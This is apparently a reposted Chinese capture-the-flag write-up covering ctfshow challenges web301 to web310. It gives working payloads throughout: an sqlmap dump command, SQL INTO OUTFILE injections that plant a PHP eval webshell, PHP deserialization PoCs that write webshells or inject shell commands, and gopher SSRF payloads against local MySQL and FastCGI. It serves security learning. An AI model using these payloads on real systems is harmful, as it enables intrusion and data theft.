文章目錄
- web301
- web302
- web303
- web304
- web305
- web306
- web307
- web308
- web309
- web310
web301
下載下來原始碼,發現checklogin.php里面的sql陳述句沒有任何的過濾,

所以直接注入就可以了,用sqlmap跑了下得到用戶名密碼 admin ctfshowwwww登陸進去就有flag
python sqlmap.py -u http://e62c174a-c4d4-4a58-a392-a41bfca926ee.chall.ctf.show/checklogin.php --form --batch --dump
然后我們也也可以寫個木馬
userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b
發現當前目錄下有flag.php打開即可得到flag,
web302
根據提示
修改的地方: if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
我們發現他用的是$row['sds_password']),也就是他已經執行完了sql陳述句,所以我們不用管他判斷后會怎樣,直接在checklogin.php寫shell就行了
payload
userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b
web303
在dptadd.php中存在注入點

有個insert而且沒有任何過濾,插入的資料會在dpt.php中查詢出來

但是有個前提,必須得先登陸成功

有幾個地方需要注意,用戶名有長度限制,而且查詢陳述句沒有用到userpwd,
查詢成功后會進行比較,

那用戶名我們就老老實實的寫個admin,密碼我怎么也不知道怎么弄,后來隨便試了下admin,結果成功了=_= ,,,,,
剩下的就簡單了,在dptadd.php中進行注入,
payload:
查表名
dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
查列名
dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23
查資料
dpt_name=1',sds_address =(select flag from sds_fl9g)%23
web304
沒找到waf 就改了下表名 sds_flaag
還是上面的payload
web305
多了個waf和class.php
先看下waf,基本上注入沒有啥希望了,再看下class.php,有個寫檔案操作,

在checklogin.php中存在反序列化的點,
所以傳個cookie就可以了
poc:
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
echo serialize(new user('a.php','<?php eval($_POST[1]);?>'));
然后抓包傳cookie,編碼一下就可以了,

然后用蟻劍去連資料庫,就能找到flag了,

web306
存在反序列化函式,那我們找下有沒有__wakeup或者__destruct發現有個destruct
那么在找下有沒有可以利用的函式,一般就是讀檔案、寫檔案、執行系統命令這幾種型別的函式,
發現存在file_put_contents

需要呼叫一個close()方法,找下哪些地方有呼叫close的,在dao.php中找到一個,并且正好是__destruct內,
也就是說如果我們讓$this->coon是log類,那么當反序列化時就會去呼叫log類中的close函式,

因為dao.php中包含了class.php所以只要找個包含dao.php的檔案就可以了,
index.php就是我們可以利用的

poc
<?php
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='a.php';
public $info='<?php eval($_POST[1]);?>';
}
$a=new dao();
echo base64_encode(serialize($a));
傳到cookie里面訪問下index.php就可以生成木馬了,
web307
開局先搜了下unserialize發現了四個,,,,,那我們先找可利用的函式,找到個shell_exec,然后找呼叫的地方,

有兩處,比較一下就可以發現logout.php中的很好用

只要修改下config類中的$cache_dir然后命令拼接下就行了,
我們這個反序列化出來的service有兩個選擇,一個是生成service類,一個是生成dao類,兩個都可以呼叫clearCache函式,但是service是通過dao類呼叫的clearCache,所以我們不需要用到service類,直接
poc:
<?php
class config{
public $cache_dir = ';echo "<?php eval(\$_POST[1]);?>" >a.php;';//linux的shell里面$有特殊意義所以轉義一下,
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
反序列化后會生成dao類,然后去呼叫clearCache函式,這時的cache_dir我們已經修改了,
web308
與上一題相比,命令執行利用點增加了過濾,輸入的內容中只允許存在字母,所以這個利用點我們放棄,

然后在fun.php處多了個ssrf利用點,

找具體的呼叫位置,在dao.php中被呼叫,我們再來找checkVersion在哪被呼叫,

在index.php中存在利用點,跟上一題基本差不多.

poc
<?php
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
具體的值通過gopherus生成
下載地址https://github.com/tarunkant/Gopherus

把生成的poc傳到cookie中,然后就會生成a.php,剩下的就簡單了,

web309
打的不是mysql了,打的是fastcgi.探測是通過gopher協議的延遲判斷的
gopher://127.0.0.1:9000

poc:
<?php
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
web310
9000和6379都是關著的,那我們可以試試讀下組態檔
poc
<?php
class config{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
得到關鍵資訊
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
接著訪問下
poc
<?php
class config{
public $update_url = 'http://127.0.0.1:4476';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
得到flag,flag需要大家仔細找下,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/237595.html
標籤:其他
上一篇:博客園添加背景音樂以及播放器 或在左下方固定位置添加音樂播放器 給你的博文錦上添花,增姿添彩
下一篇:防止API被惡意呼叫
